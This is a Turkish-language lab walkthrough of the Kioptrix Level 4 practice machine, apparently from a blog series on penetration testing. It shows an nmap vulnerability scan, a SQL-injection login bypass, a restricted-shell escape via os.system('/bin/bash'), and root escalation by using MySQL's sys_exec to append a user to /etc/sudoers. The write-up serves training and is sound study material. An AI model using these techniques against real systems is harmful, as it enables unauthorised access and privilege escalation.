Sızma Testi Örnekleri:Kioptrix Level 4

Serinin devamında kioptrix‘in 4. makinesini inceleyeceğiz. Açıkçası öncekilerinden seviye olarak pek bir farkı yok bu arkadaşın fakat privesc açısından diğerlerinden biraz farklı 😉

Her zaman ki gibi işe makinenin ip adresini bulmayla başlayalım. Bunun için Netdiscover kullanıyorum.

Nmap ile hem script taraması yapıp hem de hangi portlarda hangi servisler çalışıyor ona bakalım şimdi de.

nmap -sSV -p 22,80 --script=vuln 192.168.42.131
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 12:19 AKDT
Nmap scan report for 192.168.42.131
Host is up (0.00011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:4.7p1: 
|     	CVE-2010-4478	7.5	https://vulners.com/cve/CVE-2010-4478
|     	CVE-2017-15906	5.0	https://vulners.com/cve/CVE-2017-15906
|     	CVE-2016-10708	5.0	https://vulners.com/cve/CVE-2016-10708
|     	CVE-2010-4755	4.0	https://vulners.com/cve/CVE-2010-4755
|_    	CVE-2008-5161	2.6	https://vulners.com/cve/CVE-2008-5161
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.42.131
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.42.131:80/
|     Form id: myusername
|     Form action: checklogin.php
|     
|     Path: http://192.168.42.131:80/checklogin.php
|     Form id: 
|     Form action: index.php
|     
|     Path: http://192.168.42.131:80/index.php
|     Form id: myusername
|_    Form action: checklogin.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /database.sql: Possible database backup
|   /icons/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /index/: Potentially interesting folder
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack

Bu çıktı bize bilmemiz gereken herşeyi söylüyor aslında.Hemen webden ilerleyelim.Hedef makineye 80.porttan baktığımızda bizi şöyle bir sayfa karşılıyor.

Nmap çıktısında gördüğünüz gibi database.sql dosyasının olduğunu söylüyor.Kesin birşeyler vardır deyip ona da bakıyorum.

John isimli bir kullanıcının parolasının 1234 olduğunu görüyorum ama bu kadar kolay olmamalı değil mi ?

Evet bu kadar kolay olsaydı şaşardım.Fakat nedense içimden bir ses sqli var diyor.Kullanıcı adını john parolayı ise ‘or’1 olarak girdiğimde giriş yapıyorum.

Peki burda çıkan parola ne alaka ? Sevgili dostlar öğrendiğim bir şey varsa o da bulduğum bütün parolaları her yerde denemek.Bu yüzden öncelikle ssh denemesi yapıyorum.Beni Libgoat Shell karşılıyor.Görüldüğü üzere hiçbir komut işe yaramıyor. Help diyerek neler yapabildiğime baktığımda echo komutunu çalıştırabildiğimi görüyorum.Bu komut ile interaktif shell e geçebilirim;

echo os.system(“/bin/bash”)

Pekala şimdi sıra geldi hak yükseltmeye. Öncelikli olarak suid bit ayarlı dosyalara bakalım işe yarar bir şey var mı ?

find / -perm -u=s -type f 2>/dev/null

İşe yarar birşeyler çıkmadı.Sudo komutu ile hangi programları çalıştırabileceğime de bakayım dedim ama kullanıcı sudoers dosyasında değilmiş. Hmm.

Makinede dolaşırken /var/ww dizinine de bi bakayım dedim.Sonuçta site dosyaları var.robert dizini dikkatimi çekti.

cat ile robert.php dosyasına baktığımda mysql bilgileri kabak gibi duruyordu önümde.

İyi hoş belki mysql ile root olabiliriz ama önce ps komutu ile root yetkileriyle çalışıp çalışmadığına bakalım.

ps auxf | grep mysql

Çok güzel şimdi işe koyulma vakti.mysql e girdikten sonra hangi fonksiyonları çalıştırabileceğimizi görelim şu komutçuk ile;

select * from mysql.func;

Ne görelim sys_exec fonksiyonunu çalıştırabiliriz.İsminden de anlayacağınız gibi bu abimiz komut çalıştırmamızı sağlıyor.Sudoers dosyasına adımızı altın harflerle yazarsak bu iş tamam demektir.(Mysql de hak yükseltmenin başka yolları da var tabiki örneğin lib_mysqludf_sys.so dosyası ile de yapabilirdik fakat madem sys_exec fonksiyonunu çalıştırabiliyoruz o zaman gereksiz uğaşa girmeyelim değil mi?)

select sys_exec(‘echo “john ALL=(ALL) ALL” >> /etc/sudoers ‘);

Başarıyla sudoers dosyasına yazdık.Şimdi root olma vakti.

Görüldüğü üzere root olmayı başardık.Son olarak bir de /root/ dizini altında işi bitirdiğimizi söyleyen congrats.txt var ona da göz ucundan bakalım 🙂

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir